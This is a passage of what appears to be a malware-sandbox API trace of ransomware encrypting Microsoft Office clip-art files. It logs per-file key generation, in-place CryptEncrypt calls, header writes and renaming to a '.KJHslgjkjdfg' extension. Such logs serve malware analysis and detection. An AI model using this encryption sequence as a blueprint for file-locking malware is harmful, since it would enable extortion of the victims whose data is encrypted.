lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1 [0190.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.886] GetProcessHeap () returned 0x2a0000 [0190.886] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.886] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.887] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.889] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.889] GetProcessHeap () returned 0x2a0000 [0190.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.889] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.889] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.890] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.890] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.890] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.890] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.890] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.890] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.890] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x266c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x266c, lpOverlapped=0x0) returned 1 [0190.891] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2670, dwBufLen=0x2670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2670) returned 1 [0190.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.892] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2670, lpOverlapped=0x0) returned 1 [0190.892] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.892] SetEndOfFile (hFile=0x114) returned 1 [0190.895] GetProcessHeap () returned 0x2a0000 [0190.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.895] GetProcessHeap () returned 0x2a0000 [0190.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.kjhslgjkjdfg")) returned 1 [0190.897] CloseHandle (hObject=0x114) returned 1 [0190.897] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1 [0190.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.900] GetProcessHeap () returned 0x2a0000 [0190.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.900] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.900] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0190.903] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.903] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.903] GetProcessHeap () returned 0x2a0000 [0190.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.903] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.903] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.903] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.904] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.904] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.904] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.904] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.904] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.904] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.904] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1fde, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1fde, lpOverlapped=0x0) returned 1 [0190.906] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fe0, dwBufLen=0x1fe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fe0) returned 1 [0190.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.906] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1fe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1fe0, lpOverlapped=0x0) returned 1 [0190.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.906] SetEndOfFile (hFile=0x114) returned 1 [0190.909] GetProcessHeap () returned 0x2a0000 [0190.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.909] GetProcessHeap () returned 0x2a0000 [0190.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.kjhslgjkjdfg")) returned 1 [0190.912] CloseHandle (hObject=0x114) returned 1 [0190.912] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1 [0190.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.914] GetProcessHeap () returned 0x2a0000 [0190.914] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.914] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.914] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.917] GetProcessHeap () returned 0x2a0000 [0190.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.917] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.917] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.917] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.917] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.917] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.917] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.918] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.918] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c2c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c2c, lpOverlapped=0x0) returned 1 [0190.919] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c30, dwBufLen=0x2c30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c30) returned 1 [0190.919] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.919] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c30, lpOverlapped=0x0) returned 1 [0190.919] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.919] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.919] SetEndOfFile (hFile=0x114) returned 1 [0190.922] GetProcessHeap () returned 0x2a0000 [0190.922] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.922] GetProcessHeap () returned 0x2a0000 [0190.922] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.kjhslgjkjdfg")) returned 1 [0190.925] CloseHandle (hObject=0x114) returned 1 [0190.926] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1 [0190.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.928] GetProcessHeap () returned 0x2a0000 [0190.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.929] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.929] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.931] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.931] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.931] GetProcessHeap () returned 0x2a0000 [0190.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.931] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.931] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.931] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.932] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.932] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.932] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.932] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.932] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.932] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.932] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30ca, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30ca, lpOverlapped=0x0) returned 1 [0190.933] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30d0) returned 1 [0190.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.934] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30d0, lpOverlapped=0x0) returned 1 [0190.934] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.934] SetEndOfFile (hFile=0x114) returned 1 [0190.937] GetProcessHeap () returned 0x2a0000 [0190.937] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.937] GetProcessHeap () returned 0x2a0000 [0190.937] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.kjhslgjkjdfg")) returned 1 [0190.940] CloseHandle (hObject=0x114) returned 1 [0190.940] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1 [0190.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.942] GetProcessHeap () returned 0x2a0000 [0190.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.942] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.942] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.942] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 